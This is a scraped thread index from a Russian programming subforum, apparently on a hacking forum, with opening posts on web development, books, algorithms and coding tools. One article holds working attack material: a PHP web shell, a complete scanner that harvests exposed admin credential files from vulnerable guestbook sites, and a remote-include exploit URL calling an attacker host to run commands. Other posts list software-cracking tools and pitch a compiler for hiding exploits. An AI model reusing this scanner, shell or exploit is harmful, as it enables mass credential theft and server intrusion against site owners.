PHP/JS/MySQL/Perl

Вопрос - Ответ
ID: 67668b27b4103b69df375ca1
Thread ID: 26375
Created: 2018-10-24T17:47:04+0000
Last Post: 2024-08-03T13:43:24+0000
Author: sorax
Replies: 141 Views: 65K

Если у вас есть вопросы не требующие больших ответов из области веб- программирования, вы можете задать их в этой теме.
_PHP, JavaScript, SQL и NoSQL базы данных, Python, Perl _и все остальное, что касается веб-разработки.

Собственные проги
ID: 67668b27b4103b69df375e5a
Thread ID: 4985
Created: 2005-09-29T08:44:39+0000
Last Post: 2010-02-24T22:07:12+0000
Author: RooTex
Replies: 102 Views: 47K

Mini sender Icq
Вот прога каторая быстро отправляет Сообщения на указанный вами UIN/
В ней нету никаких настроек итд...Прога очень проста в использовании...

[mod] Great: Сюда кидаем софт, написанный вами. С описанием. Без оффтопика и флейма. Тут только обсуждение этого софта, конструктивные предложения по улучшению и в этом роде. Все "нравится", "фтопку", "кг/ам" и прочий флейм будет безжалостно удаляться.[/mod]

Пишем google-сканнер на PHP своими руками
ID: 67668b27b4103b69df375e03
Thread ID: 26190
Created: 2018-10-04T14:12:23+0000
Last Post: 2018-10-04T14:12:23+0000
Author: XSSBot
Prefix: Статья
Replies: 0 Views: 46K

Здравствуйте, я хочу Вам рассказать, как можно самому сделать гугл-сканнер на php. Написать эту статью я решил потому, что не видел в нете ничего подобного.
Если кто видел что-нибудь похожее, сообщите об этом мне.
"Почему именно на php?", - спросите Вы. Да потому что этот скрипт можно
будет залить на любой взломанный сервак и выполнить там. Да и вообще я считаю,
что будущее за php.
Во-первых, давайте разберемся, что конкретно мы хотим сделать.

  1. из результатов поиска (бажного скрипта, например) нам нужно выдрать все ссылки
    и записать их в файл/ вывести на экран (хотя бы в целях отладки);
  2. затем нам нужно качественно отфильтровать левые ссылки - это, на мой взгляд,
    самое сложное;
  3. далее нужно пройтись по каждой отфильтрованной ссылке по отдельности и
    попробовать применить эксплоит;
  4. если он сработал, то пишем это это в лог.

В качестве скрипта для своих экспериментов я взял Sad Raven's Guestbook. В
самой гостевой книге багов мною найдено не было, но проблема в том, что админские
логин и md5-хэш пароля она хранит в файле "passwd.dat" и достаточно часто к нему
забывают запретить доступ. А через админ. центр в разделе "дизайн" можно сделать
себе простенький веб-шелл вроде этого:

Code:Copy to clipboard

<?php
if (isset($_GET['c'])) // это чтобы не было вывода warning, когда нет команды
{
 echo "<pre>\r\n";
 system($_GET['c']);
 echo "</pre>\r\n";
}
?>

Ну что ж, приступим =)

=======begin PhpGoogleScanner.php source code=======

Code:Copy to clipboard

<html>
<META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
<title>PhpGoogleScanner v0.8 Ready</title>
<body bgcolor="gray">
<pre><font face="Fixedsys">
<?php
// PhpGoogleScanner v0.8 by Sad     icq 2257763
// Gr33tz 2 dinggo, virus & all ex-USSR undergr00nd

if (isset($_GET['host'])) $host = $_GET['host'];
else $host = 'www.google.com'; // поисковый сервер
if (isset($_GET['path'])) $path = $_GET['path'];
else $path = '/'; // путь к скрипту поиска
if (isset($_GET['script_name'])) $script_name = $_GET['script_name'];
else $script_name = 'index.php'; // имя файла бажного скрипта
if (isset($_GET['query'])) $query = $_GET['query'];
else $query = 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'; // запрос
$SPLOIT_STRING = 'passwd.dat'; // самое главное - эксплоит

function grab_links($host, $path, $html_source) // эта функция выдирает все ссылки
{
 global $log, $links;
 $log = fopen("goodebug.txt", "ab+"); // откроем файл для записи логов
 // Регулярное выражение для поиска всех ссылок
 preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is", $html_source, $links);
 for ($i=0; $i<count($links[1]); $i++)
 {
  // сделаем из относительных ссылок абсолютные
  if (strpos($links[1][$i],"http") === false) $links[1][$i] = 'http://'.$host.$path.$links[1][$i];
  echo $links[1][$i]."\r\n";
  fputs($log, $links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у нас фильтр через жопу написан? =)
 }
 echo "\r\n";
}

$socket = fsockopen($host, 80); // коннектимся...
if (!$socket)
{
 echo "Unable to connect to target server <b>\"$host\"</b>\r\n";
 die("Socket Error =("); // коннекта нету =(
}
else
{ // формируем GET запрос к веб-серверу
 $GET_query =
 "GET ".$path.$query." HTTP/1.1\r\n".
 "Accept: */*\r\n".
 "Accept-Language: en\r\n".
 "User-Agent: Sad Internet Spider v1.0\r\n".
 "Host: $host\r\n".
 "Connection: Close\r\n\r\n";
 fputs($socket, $GET_query);
 while (!feof($socket))
 {
  $html_source .= fgets($socket, 256); // получаем данные из сокета
 }
 grab_links($host, $path, $html_source); // выдираем ссылки

 for ($i=0; $i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
 {
  if ((strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
  { // фильтруем левые ссылки
   $good_link = substr($links[1][$i], 0, strpos($links[1][$i], $script_name));
   if ($good_link)
   { // нашли "хорошую" ссылку
    fputs($log, "Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
    $file = @fopen($good_link.$SPLOIT_STRING, "rb"); // пытаемся слить файл
    if (!$file) fputs($log, "Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
    else
    { // успешно открыли файл
     fputs($log, "File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
     while (!feof($file))
     {
      $result .= fgets($file, 256); // долгожданный результат =)
     }
     if (strpos($result, 'Password') === false) // если пассов нет
     {
      echo "\r\nСкорее всего по адресу ".$good_link.$SPLOIT_STRING." пассов нет =(\r\n";
      unset($result);
     }
     else
     { // если все путем
      echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
      fputs(fopen("goolog.txt", "ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
      unset($result);
     }
    } // обработали файл
   } // конец обработки "хорошей" ссылки
  } // конец фильтра левых ссылок
 } // конец обработки всех ссылок

}
?>
</font></pre></body></html>

=======end of PhpGoogleScanner.php source code=======

Эксплоит для скриптов с include-багом мог бы выглядеть следующим образом:
buggy_script.php?page=http://www.evilcode.org/c.txt?c=pwd;id;other_commands_here
Конечно это сработает только при allow_url_fopen = 1.
Также можно подправить сканнер, чтобы он искал и эксплуатировал уязвимости типа sql-injection.
А если очень постараться, то доработав этот исходник можно сделать и какого- нибудь злого червя >=)
В общем много чего еще можно придумать, лишь бы фантазии и знаний хватило.
Пока это все, удачи.

SAD ICQ: icq 2257763

PHP cкрипты на заказ. Бесплатно.
ID: 67668b27b4103b69df375e12
Thread ID: 15367
Created: 2008-08-13T16:07:04+0000
Last Post: 2013-11-16T09:35:12+0000
Author: DeusTirael
Replies: 139 Views: 39K

Предлагаю всем желающим постить здесь свои просьбы о написании различных скриптов.
Просьбы будут выполняться бесплатно мной или любым другим участником форума который пожелает помочь.
Писать буду в свободное время, так что не ждите мгновенной реакции.
В просьбе желательно как можно подробнее расписывать техническое задание.
Можете заказывать абсолютно любые скрипты: парсеры, регеры, сортировщики, рассыльщики, бруты, чекеры...
Готовые скрипты будут выкладываться в этой теме. Интеллектуальные права на скрипты остаются за их авторами.

[mod][Winux:] рекомендуется выполнять вещи логичные и реально полезные. Заказы выполнять в соответствии с активностью на форуме.[/mod]

Книги по PHP
ID: 67668b27b4103b69df375e02
Thread ID: 5799
Created: 2005-12-01T16:53:37+0000
Last Post: 2018-10-07T17:47:54+0000
Author: Winux
Prefix: Мануал/Книга
Replies: 31 Views: 33K

PHP глазами хакера

Михаил Фленов
Издательство: БХВ-Петербург, 2005 г.
Мягкая обложка, 296 стр.
ISBN 5-94157-673-0
Тираж: 5000 экз.
Формат: 70x100/16

От издателя:

Рассмотрены вопросы безопасности и оптимизации сценариев на языке РHР. Большое внимание уделено описанию типичных ошибок программистов, благодаря которым хакеры проникают на сервер, а также представлены методы и приведены практические рекомендации противостояния внешним атакам. Показаны реальные примеры взлома Web-серверов. На компакт-диске приведены исходные тексты примеров, рассмотренных в книге, а также полезные программы и утилиты.

Click to expand...

Книга рекомендована для Web-программистов, администраторов и специалистов по безопасности.

:zns5: Скачать|Download

Алгоритмы
ID: 67668b27b4103b69df375e93
Thread ID: 6373
Created: 2006-01-06T13:31:09+0000
Last Post: 2008-05-17T08:50:16+0000
Author: AKella
Replies: 46 Views: 18K

[mod][Great:] Тут задаем вопросы по составлению алгоритмов для прогамм. Что-то вроде "как посчитать простые числа" или в этом роде. Но учтите, что простые вопросы вида "сложить 2 и 3" не принимаются.[/mod]

Короч на веб-хак чувак какой-то попросил помочь решить задачи. Я решил выложить их сюда.

1)Дан линейный массви натуральных чисел. Какая цифра наиболее часто встречается в записи этих чисел? Если таких цифр несколько, напечатать каждую

2)Дано натуральное число n Заполнить квадратную матрицу размерности n*n последовательными натуральными числами, начиная с 1, размащая их против часовой стрелки по периметру всех вложенных квадратов, начиная с левого верхнего угла.

3)Даны N целых чисел Х1, Х2, ... , Xn. Составте программу, которая расставит между ними знаки "+" и "-" так, чтобы значение получившегося выражения было равно заланному целому S.
2<n<24, 0<X<50 000 000, -1 000 000 000<S<1 000 000 000

4)В декартовой системе координат на плоскости заданы координаты вершин треугольника (x1,y1),(x2,y2),(x3,y3) и еще одна точка (x0,y0). Составте программу, которая будет определять, принадлежит ли эта точка треугольнику.

Click to expand...

Исходники известных программ
ID: 67668b27b4103b69df375ebc
Thread ID: 6158
Created: 2005-12-26T23:05:07+0000
Last Post: 2006-10-19T14:31:01+0000
Author: Winux
Replies: 40 Views: 16K

Предлагаю в этой теме кидать исходники всяко-разного софта для изучения принципов работы ну и собстно внесение собственных изменений в этот софт.

Просьба не кидать сорсы GPL ибо они есть у всех кто того хочет и доступны каждому.

Итак, начнем, у меня в аттаче сорсы консольной аси. Считается неплохим вариантом для изучения реальзации ICQ протокола.

долгожданный конкурс!
ID: 67668b27b4103b69df375ec6
Thread ID: 10843
Created: 2006-08-24T11:11:08+0000
Last Post: 2006-09-20T08:52:48+0000
Author: [500mhz]
Replies: 55 Views: 15K

и так конкурс!
ЗАДАНИЕ:
написать программу шутку размером не более 2кб = 2048 байт
не паковать!
релизы слать мне в ПМ в base64
срок конкурса до 03.09.2006
тоесть 04.09.2006 все релизы выставляются на публичное голосование

Софт Для Кодинга
ID: 67668b27b4103b69df375d6d
Thread ID: 3992
Created: 2005-06-02T18:14:08+0000
Last Post: 2021-12-09T08:39:44+0000
Author: Winux
Replies: 31 Views: 14K

Assembler

SCRNSAVE.LIB
OMF-версия библиотеки для экранных заставок.
Статическая библиотека в формате OMF с исходным текстом и примерами использования в Borland Turbo Assembler. Она служит для создания экранных заставок выполняя при этом всю рутинную работу и позволяя вам сосредоточится лишь на конфигурировании и создании визуальных эффектов.
:zns5: Скачать

:zns5: Скачать Proforma 2003

ImpInc 1.3
Создает include-файлы с экспортами в формате TASM.
Консольная утилита, предназначенная для тех, кто использует Borland Turbo Assembler для разработки 32-разрядных приложений Windows. Она извлекает из DLL имена экспортируемых функций и создает соответствующие include-файлы в формате TASM.
:zns5: Скачать ImpInc 1.3

intr_lib 0.5
Библиотека для разработки простых интерфейсов для *.pas. Функции на *.asm. Исходный текст. Поддержка мыши.
:zns5: Скачать intr_lib 0.5

C / C++

VBto Converter 1.0
Конвертор MS VB 6.0 форм в ресурсы MS VC++ проекта.
Любой frm, frx файл vbp проекта может быть конвертирован в соответствующие rc, cpp, h файлы dsp проекта. Поддерживаются все основные типы VB объектов. Обрабатываются и зарегистрированные в системе визуальные ActiveX компоненты. В результате конвертации получаем полностью готовый к компиляции MS VC++ проект. Конвертация исходного кода текущей версией не поддерживается.
:zns5: Скачать VBto Converter 1.0

:zns5: [Скачать Бесплатный компилятор и IDE LCC](ftp://ftp.cs.virginia.edu/pub/lcc- win32/lccwin32.exe)

Virtual Serial Port Driver 9x 2.0 (Demo)
Virtual Serial Ports Driver (VSPD) is a Windows device driver. Using it you can create two virtual serial COM ports in your system which will be virtually connected to each other. For example, after installing VSPD, you will have Virtual Serial Port COM5 and Virtual Serial Port COM6 added to your system. These ports will behave like real common serial ports to other Windows applications. These ports will not interact with any hardware. The idea is: all data sent by other application to COM5 will...
:zns5: Скачать Virtual Serial Port Driver 9x 2.0

LogEngine 1.02
LogEngine is a C++ library for easy and flexible logging to files. Multithreaded, easy to use and fast. Automatic logfile backup (several modes). A small amount of code. Platform Independent.
:zns5: Скачать LogEngine 1.02

GLClock 2
Небольшая демонстрационная программа - 3D часы, созданные с использованием графической библиотеки OpenGL. Показано то, как работать со сложными объектами, текстурировать их, накладывать освещение, создавать прозрачность и блики.
:zns5: Скачать GLClock 2

БД (базы данных): MySQL, PostgreSQL и т.д.

Программа Репликатор 1.0.1.37
Репликатор - это программа для быстрого копирования информации из одной базы данных Interbase в другую.
Одно из применений этой программы - это восстановление данных после сбоя. Но в данном случае важно чтобы к базе данных со сбоем программа могла подключиться. Т.к. восстановление данных происходит путём копирования данных.
Вы можете создавать различные настройки для копирования баз данных.
Программа умеет отключать триггера, ограничения и вторичные ключи. Так же она умеет выполнять скрип...
:zns5: Скачать Программа Репликатор 1.0.1.37

IBLogScript 1.1.3.0
1. IBLogScript - инструмент переноса и отмены изменений данных Interbase, основанный на механизме журнала IBExpert
предназначен только для пользователей IBExpert v.2.2.0.4 и выше, применяющих в своей практике журнал изменений данных.
(IBExpert позволяет автоматически создать набор таблиц и триггеры, отслеживающие изменения данных)
Если Вы уже используете эту удобную возможность, но Вам необходим инструмент перенесения изменений, произведенных в одной базе данных, в другие, а также отмены части изменений после завершения транзакции, IBLogScript поможет Вам.
IBLogScript создает на основе данных журнала (таблицы IBE$LOG_TABLES, IBE$LOG_FIELDS и др.) воспроизводящий изменения либо отменяющий их SQL-скрипт.
2. Инструкция по использованию
Просто укажите файл базы данных, имя пользователя и пароль, а также тип скрипта (воспроизводящий - отменяющий) и запустите программу на исполнение (F9), затем сохраните полученный скрипт в файле либо скопируйте через буфер обмена.
Для включения в результирующий скрипт информации журнала о дате и авторе каждого изменения данных поставьте флажок "Include date and user comments".
Имеется возможность ограничить период, за который записи из журнала IBExpert будут рассмотрены при составлении скрипта. Для этого необходимо указать даты начала и окончания периода.
3. Имеющиеся ограничения
Пока не поддерживается работа с BLOB-полями ввиду невозможности их изменения SQL-запросом.
4. Планы дальнейшего развития
Планируется ввод в инструментарий IBLogScript возможности переноса изменений BLOB-полей, сохранения журнала IBExpert в формате XML и запуска скриптов непосредственно из программы.
:zns5: Скачать IBLogScript 1.1.3.0

Ariacom Report Manager 2.2
Ariacom Report Manager is a COM component allowing database reporting and
multi-dimensional analysis with dynamic SQL generation.
Non-technical end-users can run and edit complex reports from any SQL
relational database.
The ActiveX main features are:
- Dynamic and optimized SQL queries
- Generation of complex reports integrating pivot tables
- Native line, bar, point and pie charts
- Integrated security management limiting user access
:zns5: Скачать Ariacom Report Manager 2.2

KSV Editor 2.5b
Улучшенная версия PROGRESS Procedure Editor v. 9.1
Добавлены файлбар, для переключения между открытыми файлами, инспектор кода, алиасы;
Реализована поддержка пользовательских плагинов.
Реализована компиляция из редактора как в GUI, так и в CHUI режимах.
Полная интеграция с MS VSS 6.0.
Добавлена возможность форматирования кода для улучшения его читабельности
А также масса приятных мелочей, делающих разработку на PROGRESS 4GL очень удобной.
:zns5: Скачать KSV Editor 2.5b

СУБД ORD 5.11
Система управления объектно-реляционными базами данных ORD представляет собой инструментальную среду, предназначенную для создания высокоэффективных информационных систем различного назначения, сочетающих широкие функциональные возможности, высокую производительность и открытую архитектуру.
Это обеспечивает максимальную гибкость создаваемых систем, очень быструю их расширяемость и адаптацию к новым задачам при изменениях сферы деятельности, законодательства, предметной области, реинжиниринге бизнес-процессов и т.д. Причем, в большинстве случаев расширение системы доступно непосредственно ее пользователям.
Основу организации СУБД ORD представляет объектно-ориентированная технология, построенная на уникальной идентификации объектов предметной области собственным, нереляционным ключом. Такой подход позволяет исключить противоречия, возникающие в традиционной реляционной модели при изменениях в предметной области, и существенно упростить процедуры модификации и масштабирования информационных систем, созданных с применением технологии ORD
:zns5: Скачать СУБД ORD 5.11

DBView2 Oracle Edition 1.0
С помощью нашей программы Вы с легкостью сможете:
просматривать содержимое DBF-файлов в DOS и Win - кодировке, сортировать содержимое файлов (сортировка сохраняется только во время редактирования файлов, физически записи не сортируются!);
вносить изменения в содержание Вашей базы данных;
производить поиск по Вашей базе данных;
накладывать фильтр на базу данных;
распечатывать выделенную запись Вашей базы данных;
создавать печатные формы для Ваших баз данных;
:zns5: [Скачать DBView2 Oracle Edition 1.0 ](http://www.vingrad.ru/cgi- bin/soft/download.pl?id_pr=2109&link=1&type=DBView2Setup.zip)

GenRep 1.01
Быстрая и простая разработка отчета непосредственно в MS Word
Высокая скорость генерации отчета
Простота языка описания шаблона отчета
Вызов генератора из любого языка поддерживающего механизм Windows API
Вызов генератора посредством функций system или WinExec
Использование любых существующих документов MS Word для шаблонов генератора
Вывод отчетов в MS Word в виде RTF-файлов с возможностью редактирования и печати
Вывод отчетов в MS Word из приложений DOS работающих с DBF файлами
Минимальные затраты дискового пространсва при установке генератора
Вывод данных из файлов DBF или из файла произвольных структур подготовленных из Вашей программы
:zns5: Скачать GenRep 1.01

MySQL-Front 2.2
Идеально подходит для управления БД MySQL под Windows. Графический интерфейс делает её удобнее в использовании чем phpMyAdmin. Все необходимые функции под рукой.
Некоторые возможности:
- create/drop databases
- create/drop tables
- edit/add/delete fields
- edit/insert/delete records
- edit BLOBs and MEMOs with Bitmap/GIF/JPEG-Support
- a list of server-variables
- view and kill other user-processes
- execute (large) SQL-scripts
- view advanced table-properties, such as Type, Comment, -- Key_Length and so on
- export table-structure and data into SQL-scripts or other -- databases
- replicate databases between two hosts ("Export tables...")
- save data to CSV-Files (ideal for working with MS-Excel) or HTML-tables
- copy CSV-data/HTML-Tables to clipboard
- copy tables to new table-names
:zns5: Скачать MySQL-Front 2.2

DBFNavigator 2.0b
DBFNavigator - это Windows утилита для просмотра и редактирования DBF файлов.
Возможности программы:
- возможность сохранения настроек для каждого файла;
- поддерживаются версии от dBase до Visual FoxPro;
- может читать мемо поля dBase и FoxPro форматов;
- поддерживаются OEM и ANSI кодировки;
- перекодировка из OEM в ANSI и обратно;
- выделение, копирование и вставка группы ячеек;
- редактирование структуры;
- сортировка;
- фильтр;
- поиск;
Скачать DBFNavigator 2.0b

Pascal

:zns5: Скачать Компилятор TMT Pascal Lite v.3.90

Инсталляторы

ArInstall 2.0
ArInstall - Это мощная и удобная утилита для создания полноценных установочных программ.
ArInstall обладает простым и удобным интерфейсом, благодаря чему в ней очень легко разобраться.
Создание инсталлятора сводится к прохождению всего 6 несложных шагов.
:zns5: Скачать ArInstall 2.0

LizaJet Installer for Delphi Developers 1.3
Начата стадия бета тестирования LizaJet Installer for Delphi Developers версии 1.3 с возможностью получения Complete-8 Edition - полнофункциональной версии системы бесплатно для тех, кто будет принимать в ней активное участие.
Мы заинтересованы не только в получении сообщений об ошибках в системе, но и в отзывах о программе и предложениях по улучшению инсталлятора. Поэтому для нас "активные участники" - это все, кто присылает нам информацию об ошибках или участвует в обсуждении системы в форуме или по e-mail (support@lizajet.ru). По окончании бета тестирования очередной версии мы связываемся со всеми участниками по e-mail и, в случае заинтересованности, высылаем лицензию на полную версию программы.
Дополнительная информация - на сайте http://www.lizajet.ru
LizaJet Installer - Универсальная система инсталляции для Microsoft Windows, специально созданная для разработчиков, использующих Delphi. Среда разработки пакетов с интегрированным отладчиком; инсталляционные скрипты на языке Object Pascal; создание и редактирование диалогов, входящих в Setup Wizard; наследование инсталляционных пакетов; инсталляция с серверов Интернет, с поддержкой докачки файлов; скачиваются только файлы, необходимые для установки опций, выбранных пользователем; возможность использования электронной цифровой подписи.
:zns5: Скачать LizaJet Installer for Delphi Developers 1.3

GkSetup 2.10
Программа для создания инсталляшек. Показывает Лицензионное соглашение. Собирает информацию о пользователе. Пишет информацию в реестр. Добавляет программы в стартовое меню. Регистрирует dll. Многоязыковая поддержка. Uninstall. Можно настраивать внешний вид.
:zns5: Скачать GkSetup 1.92

Это только частичный список софта. Естественно есть еще. Я призываю вас в этой теме постить ТОЛЬко софт для кодинга. Буду раз за дополнения. Обязательно постим язык, для которого этот софт предназначен.

PHP?
ID: 67668b27b4103b69df375ed1
Thread ID: 7467
Created: 2006-03-18T21:37:18+0000
Last Post: 2006-08-28T15:33:14+0000
Author: Reanimator
Replies: 53 Views: 14K

Здраствуйте! Я вот недавно начал учить пхп, но вот одного не понимаю: я так понимаю что код нужно писать в каком либо текстовом редакторе, а вот как после написания кода с расширением пхп сохранять?

Програмирование для Dreamcast
ID: 67668b27b4103b69df375efa
Thread ID: 26
Created: 2004-11-14T20:58:01+0000
Last Post: 2006-04-22T06:11:22+0000
Author: Winux
Replies: 34 Views: 14K

Товарищи, вам наверное уже давно известна приставка Dreamcast?
Ну так для нее можно програмировать. В этой теме я предлагаю обсудить методы и возможности програмирования для нее.
Выкладывайте тут ссылки на софт, пишите статьи и так далее.

Голосование
ID: 67668b27b4103b69df375eac
Thread ID: 11388
Created: 2006-09-04T16:09:01+0000
Last Post: 2006-12-03T13:01:05+0000
Author: [500mhz]
Replies: 49 Views: 12K

в архиве 5 файликов
смотрим каждый и голосуем
к сожалению 2 програмки не прошли предварительный отбор так как одна была прислана в виде сорца
а вторая 120 байт com файлик который я так и не понял что делает )))

PHP Полезные классы и функции
ID: 67668b27b4103b69df375ca2
Thread ID: 26373
Created: 2018-10-24T17:18:55+0000
Last Post: 2023-07-25T11:02:49+0000
Author: sorax
Replies: 6 Views: 12K

Друзья, в данной теме предлагаю делиться своими собственными полезными наработками на PHP.
Выкладывайте только личный код с небольшими объяснениями принципов работы.

ASM vs PureBasic
ID: 67668b27b4103b69df375f0e
Thread ID: 6761
Created: 2006-01-29T20:27:23+0000
Last Post: 2006-02-21T10:37:52+0000
Author: Exs42
Replies: 45 Views: 12K

Есть такой язык PureBasic. Все команды как в барсике, но работает он с асмовской скоростью и размеры прог тоже как на асме. В новой версии в исходный код можно добовлять команды чистого асма! Кто чего думает по этому поводу?

Книги по MySQL
ID: 67668b27b4103b69df375e1d
Thread ID: 4457
Created: 2005-08-17T09:42:54+0000
Last Post: 2013-06-10T18:20:12+0000
Author: Ma-stiff
Prefix: Мануал/Книга
Replies: 8 Views: 11K

Аткинсон Леон MySQL. Библиотека профессионала

Размер: 6790 Кбайт
http://www.zipsites.ru/books/atkinson_mysql/

Managing and Using MySQL (2nd Edition)
http://citrin.pp.ru/docs/MySQL/OReilly%20-...ing%20Mysql.pdf
Андрей Головин, Вадим Ткаченко, Александр Качанов Букварь по PHP и MySQL.
Размер: 568Кб
ftp://files.zipsites.ru/books/programming/PHP/phpmysql.zip

Томсон Лаура, Веллинг Люк Разработка Web-приложений на РНР и MySQL
Размер: 32,1 Мб
http://www.zipsites.ru/books/php_and_mysql/

Ульман Ларри MySQL. Руководство по изучению языка
Размер: 50 Мб
http://84.252.140.76/1211/PHP/ulman_mysql.zip
Размер: 4Мб
http://www.zipsites.ru/books/ulman_mysql/

Харрис PHP/MySQL для начинающих
Размер: 56 Мб
http://84.252.140.76/1211/PHP/Harris_phpmysql.zip
Размер: 5 Мб
http://www.zipsites.ru/books/php_mysql_dlya_nachinayushchih/

Он-лайн Документация по MySQL
Смотреть

Вопросы по Perl
ID: 67668b27b4103b69df375e11
Thread ID: 6323
Created: 2006-01-03T10:07:03+0000
Last Post: 2013-12-15T07:26:06+0000
Author: kip
Replies: 25 Views: 11K

[mod][Great:] Тут теперь задаем все вопросы по перлу[/mod]

Народ, додскажите как можно немного авторизировать perl :)

  1. Мне нужно чтобы ответ perl скрипта, который выводиться на экран, сохранялся в файлик...
  2. Можно ли сделать чтобы скрипт самозапускался в определенное время? Или можно ли хотя его запустить, потом выйти в оффлайн... и через некоторые время посмотреть результаты?

Зараенее спасибо....

Новости из мира Web-Разработки
ID: 67668b27b4103b69df375ca3
Thread ID: 26374
Created: 2018-10-24T17:38:13+0000
Last Post: 2018-10-24T17:38:13+0000
Author: sorax
Replies: 0 Views: 11K

Сфера web-разработки развивается огромными шагами.
Каждый день появляются новые инструменты, обновления для уже существующих продуктов и многое другое.
Важно идти в ногу со временем и быть в курсе самых последних новостей, поэтому делимся свежими материалами кратко и по-делу.

Можно публиковать небольшой спойлер, ведущий на вашу тему с более развернутым описанием новости и там же публиковать свои комментарии на этот счет.

Интересная Задача
ID: 67668b27b4103b69df375f21
Thread ID: 3711
Created: 2005-05-04T20:27:34+0000
Last Post: 2005-10-10T11:47:07+0000
Author: MaFb14
Replies: 29 Views: 11K

"Зал"-концерт зал, в котором конечная расстановка мест не известна, известно, что максимум рядов 100, а мест в ряде 30.

Составить структуру данных, которая будет хранить план зала используя минимум памяти. Не обязательно реализация её в коде, можно только подробное описание. Логически каждое место в зале может имеет два состояние ЗАНЯТО и СВОБОДНО.

Понятно что 100*30=3000(байт) но как ещё меньше!! Как создать структуру в которой место в памяти занимают только нужные данные, а те которые не нужны просто NUll ...

Пример можно на Delphi\Vb.. да вообше хоть на чем)))

PHP >> EXE
ID: 67668b27b4103b69df375ecf
Thread ID: 9642
Created: 2006-07-03T09:11:37+0000
Last Post: 2006-08-31T05:18:48+0000
Author: Winux
Replies: 27 Views: 11K

Bambalam PHP EXE Compiler/Embedder 1.1

Не знаю насколько это ново, но в сети появился инструмент для компиляции php приложений под win32. Грубо говоря из файла php.php можно сделать консольный исполняемый фаил php.exe. Очень удобно для изготовления експлойтов на php если необходимо содержать код в тайне от чайников. Примечательно, что инструмент распространяется с открытым кодом.
Использование: bamcompile [-options] infile.php [outfile.exe]
Закачка далее>>[New$paN]
:zns5: Скачать|Download сам компилятор
:zns5: Скачать|Download исходник
:zns2: Домашняя страница

.::Полный набор инструментов::.
ID: 67668b27b4103b69df375d4f
Thread ID: 8374
Created: 2006-05-10T17:43:18+0000
Last Post: 2022-06-23T08:09:39+0000
Author: utilizat0r
Replies: 26 Views: 10K

.::Полный набор инструментов::.
/=============================\
Analysis:
OllyDbg 1.10 & Plugins - Modified by SLV NEW
W32Dasm 8.93 - Patched NEW
PEiD 0.93 + Plugins NEW
RDG Packer Detector v0.5.6 Beta - English NEW

Rebuilding:
ImpRec 1.6 - Fixed by MaRKuS_TH-DJM/SnD NEW
Revirgin 1.5 - Fixed NEW
LordPE De Luxe B NEW
**
Packers:**

FSG 2.0
MEW 11 1.2 SE
UPX 1.25 & GUI NEW
SLVc0deProtector 0.61 NEW
ARM Protector v0.3 NEW
WinUpack v0.31 Beta NEW

_
Patchers:_

dUP 2 NEW
CodeFusion 3.0
Universal Patcher Pro v2.0
Universal Patcher v1.7 NEW
Universal Loader Creator v1.2 NEW
aPatch v1.07
PMaker v1.2.0.0 NEW
Tola's Patch Engine v2.03b
ABEL Loader v2.31
Yoda's Process Patcher NEW
Registry Patch Creator NEW
ScAEvoLa's PatchEngine v1.33 NEW
Dogbert's Genuine Patching Engine v1.41 NEW
Graphical-PatchMaker v1.4 NEW
The aPE v0.0.7 BETA NEW
Liquid2 NEW
PELG v0.3 NEW
PrincessSandy v1.0 NEW

HEX Editor:
Biew v5.6.2
Hiew v7.10 NEW
WinHex v12.5 NEW

Decompilers:
DeDe 3.50.04
VB Decompiler Lite v0.4 NEW
Flasm

Unpackers:
ACProtect - ACStripper
ASPack - ASPackDie
ASProtect > Stripper 2.07 Final & Stripper 2.11 RC2 NEW
DBPE > UnDBPE
FSG 1.33 > Pumqara's Dumper
FSG 2.00 > UnFSG
MEW > UnMEW
PeCompact 1.x > UnPecomp
PEncrypt > UnPEncrypt
PeSpin 0.3 > DeSpinner 0.3
tELock 0.98-1.0 > UntELock
EXEStealth > UnStealth
Xtreme-Protector / Themida > XprotStripper v1.1 NEW
Morphine Killer 1.1 by SuperCracker/SND NEW
ASPR Dumper v0.1 NEW
Armadillo Process Detach v1.1 NEW
Armadillo Dumper v1.0 NEW
Armadillo Nanomite Fixer NEW
Armadillo Distance Decryptor aka Jump Table Fixer NEW
ArmTools (Translated!) NEW
ArmInline v0.1 NEW
Quick Unpack v1.0b3 NEW
Procdump v1.6.2 NEW

Keygenning: NEW
TMG Ripper Studio 0.02 NEW
_
Other:_
FileMon v7 (Patched) NEW
RegMon v7 (Patched) NEW
RSATool 2
DAMN HashCalc
EVACleaner 2.7
Process Explorer
Resource Sansьrlendi
PUPE 2002
PointH Locator NEW
ASPR CRC Locator 1.2 NEW
PE Tools 1.5 RC5 NEW
API Address Finder NEW
Jump to Hex Convertor NEW
PE GeNeRaToR 1.2.1 NEW
Quick File Viewer v1.0.1 NEW
PE Insight 0.3b NEW
Crypto Searcher NEW
PE Editor v1.7 NEW
bkslash's Inline Patcher NEW
Stud_PE v2.1 NEW
Injecta v0.2 NEW
PE Rebuilder v0.96b NEW
PE Optimizer v1.4 NEW
ToPo v1.2 NEW
NFO Builder 2000 v1.02 NEW
NFO File Maker v1.6 NEW
TMG NFOmakeR v1.0 NEW
hCalc NEW

Пакет не мой ...Автора не помню...Pereb'е и ToPo 1.2 --из пакета удалите...перезалейте у кого есть возможность на нормальный хост

...................................................................................+Скачать+...............................................................................
:zns5: Скачать|Download Рапида
Пароль: www.spynet.ru

.::Вот подборка книг по Ассемблеру::.

Ассемблер под ДОС
Assembler & Win32
Крупник — ОПЫТ ДИЗАССЕМБЛИРОВАНИЯ БОЛЬШОЙ .COM ПРОГРАММЫ
Рей Дункан — Оптимизация программ на Ассемблере
Питер Абель — Ассемблер и программирование для IBM PC
Программирование и кодирование
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО АССЕМБЛЕР 2.0 (ЧАСТЬ I)
